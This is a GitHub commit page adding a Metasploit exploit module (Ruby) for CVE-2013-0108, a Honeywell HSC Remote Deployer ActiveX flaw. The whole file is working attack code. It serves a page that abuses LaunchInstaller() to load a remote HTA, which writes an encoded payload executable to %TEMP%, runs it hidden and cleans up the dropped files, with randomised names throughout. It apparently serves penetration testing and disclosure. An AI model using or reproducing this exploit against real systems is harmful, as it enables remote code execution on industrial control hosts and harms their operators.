Skip to content

Commit d81d926

Browse files
committed
Adding Honeywell exploit.
1 parent b6458d2 commit d81d926

File tree

1 file changed

+213
-0
lines changed

1 file changed

+213
-0
lines changed
Lines changed: 213 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,213 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::EXE
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Honeywell HSC Remote Deployer ActiveX Remote Code Execution",
19+
'Description' => %q{
20+
This modules exploits a vulnerability found in the Honewell HSC Remote Deployer
21+
ActiveX. This control can be abused by using the LaunchInstaller() function to
22+
execute an arbitrary HTA from a remote location. This module has been tested
23+
successfully with the HSC Remote Deployer ActiveX installed with HoneyWell EBI
24+
R410.1.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'juan vazquez'
30+
],
31+
'References' =>
32+
[
33+
[ 'CVE', '2013-0108' ],
34+
[ 'OSVDB', '90583' ],
35+
[ 'BID', '58134' ],
36+
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/02/04/cve-2013-0108-honeywell-ebi' ],
37+
[ 'URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-053-02.pdf' ]
38+
],
39+
'Payload' =>
40+
{
41+
'Space' => 2048,
42+
'StackAdjustment' => -3500
43+
},
44+
'DefaultOptions' =>
45+
{
46+
'InitialAutoRunScript' => 'migrate -f -k'
47+
},
48+
'Platform' => 'win',
49+
'Targets' =>
50+
[
51+
[ 'Automatic', {} ]
52+
],
53+
'Privileged' => false,
54+
'DisclosureDate' => "Feb 22 2013",
55+
'DefaultTarget' => 0))
56+
end
57+
58+
def exploit
59+
@var_exename = rand_text_alpha(5 + rand(5)) + ".exe"
60+
@dropped_files = [
61+
@var_exename
62+
]
63+
super
64+
end
65+
66+
def on_new_session(session)
67+
if session.type == "meterpreter"
68+
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
69+
end
70+
71+
@dropped_files.delete_if do |file|
72+
win_file = file.gsub("/", "\\\\")
73+
if session.type == "meterpreter"
74+
begin
75+
wintemp = session.fs.file.expand_path("%TEMP%")
76+
win_file = "#{wintemp}\\#{win_file}"
77+
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
78+
session.fs.file.rm(win_file)
79+
print_good("Deleted #{file}")
80+
true
81+
rescue ::Rex::Post::Meterpreter::RequestError
82+
print_error("Failed to delete #{win_file}")
83+
false
84+
end
85+
86+
end
87+
end
88+
end
89+
90+
def build_hta(cli)
91+
var_shellobj = rand_text_alpha(rand(5)+5);
92+
var_fsobj = rand_text_alpha(rand(5)+5);
93+
var_fsobj_file = rand_text_alpha(rand(5)+5);
94+
var_vbsname = rand_text_alpha(rand(5)+5);
95+
var_writedir = rand_text_alpha(rand(5)+5);
96+
97+
var_origLoc = rand_text_alpha(rand(5)+5);
98+
var_byteArray = rand_text_alpha(rand(5)+5);
99+
var_writestream = rand_text_alpha(rand(5)+5);
100+
var_strmConv = rand_text_alpha(rand(5)+5);
101+
102+
p = regenerate_payload(cli);
103+
exe = generate_payload_exe({ :code => p.encoded })
104+
105+
# Doing in this way to bypass the ADODB.Stream restrictions on JS,
106+
# even when executing it as an "HTA" application
107+
# The encoding code has been stolen from ie_unsafe_scripting.rb
108+
print_status("Encoding payload into vbs/javascript/hta...");
109+
110+
# Build the content that will end up in the .vbs file
111+
vbs_content = Rex::Text.to_hex(%Q|
112+
Dim #{var_origLoc}, s, #{var_byteArray}
113+
#{var_origLoc} = SetLocale(1033)
114+
|)
115+
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
116+
# for conversion with ADODB.Stream
117+
vbs_ary = []
118+
# The output of this loop needs to be as small as possible since it
119+
# gets repeated for every byte of the executable, ballooning it by a
120+
# factor of about 80k (the current size of the exe template). In its
121+
# current form, it's down to about 4MB on the wire
122+
exe.each_byte do |b|
123+
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
124+
end
125+
vbs_content << vbs_ary.join("")
126+
127+
# Continue with the rest of the vbs file;
128+
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
129+
# Then use ADODB.Stream again to write the binary to file.
130+
#print_status("Finishing vbs...");
131+
vbs_content << Rex::Text.to_hex(%Q|
132+
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
133+
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"
134+
135+
Set #{var_strmConv} = CreateObject("ADODB.Stream")
136+
137+
#{var_strmConv}.Type = 2
138+
#{var_strmConv}.Charset = "x-ansi"
139+
#{var_strmConv}.Open
140+
#{var_strmConv}.WriteText s, 0
141+
#{var_strmConv}.Position = 0
142+
#{var_strmConv}.Type = 1
143+
#{var_strmConv}.SaveToFile #{var_writedir}, 2
144+
145+
SetLocale(#{var_origLoc})|)
146+
147+
hta = <<-EOS
148+
<script>
149+
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
150+
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
151+
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
152+
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
153+
154+
#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
155+
#{var_fsobj_file}.Close();
156+
157+
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
158+
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
159+
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
160+
window.close();
161+
</script>
162+
EOS
163+
164+
return hta
165+
end
166+
167+
def on_request_uri(cli, request)
168+
agent = request.headers['User-Agent']
169+
170+
if agent !~ /MSIE \d/
171+
print_error("Browser not supported: #{agent.to_s}")
172+
send_not_found(cli)
173+
return
174+
end
175+
176+
uri = ((datastore['SSL']) ? "https://" : "http://")
177+
uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'])
178+
uri << ":#{datastore['SRVPORT']}"
179+
180+
print_status("Request received for #{request.uri}");
181+
182+
if request.uri =~ /\/SystemDisplays\/RemoteInstallWelcome.hta/
183+
hta = build_hta(cli)
184+
print_status("Sending HTA application")
185+
send_response(cli, hta, {'Content-Type'=>'application/hta'})
186+
return
187+
end
188+
189+
html = <<-EOS
190+
<html>
191+
<body>
192+
<object id="RemoteInstaller" classid="clsid:0D080D7D-28D2-4F86-BFA1-D582E5CE4867">
193+
</object>
194+
<script>
195+
RemoteInstaller.LaunchInstaller("#{uri}", "", false);
196+
</script>
197+
</body>
198+
</html>
199+
EOS
200+
201+
# we need to handle direct /SystemDisplays/RemoteInstallWelcome.hta requests
202+
proc = Proc.new do |cli, req|
203+
on_request_uri(cli, req)
204+
end
205+
206+
add_resource({'Path' => "/SystemDisplays/RemoteInstallWelcome.hta", 'Proc' => proc}) rescue nil
207+
208+
print_status("Sending html")
209+
send_response(cli, html, {'Content-Type'=>'text/html'})
210+
211+
end
212+
213+
end

0 commit comments

Comments
 (0)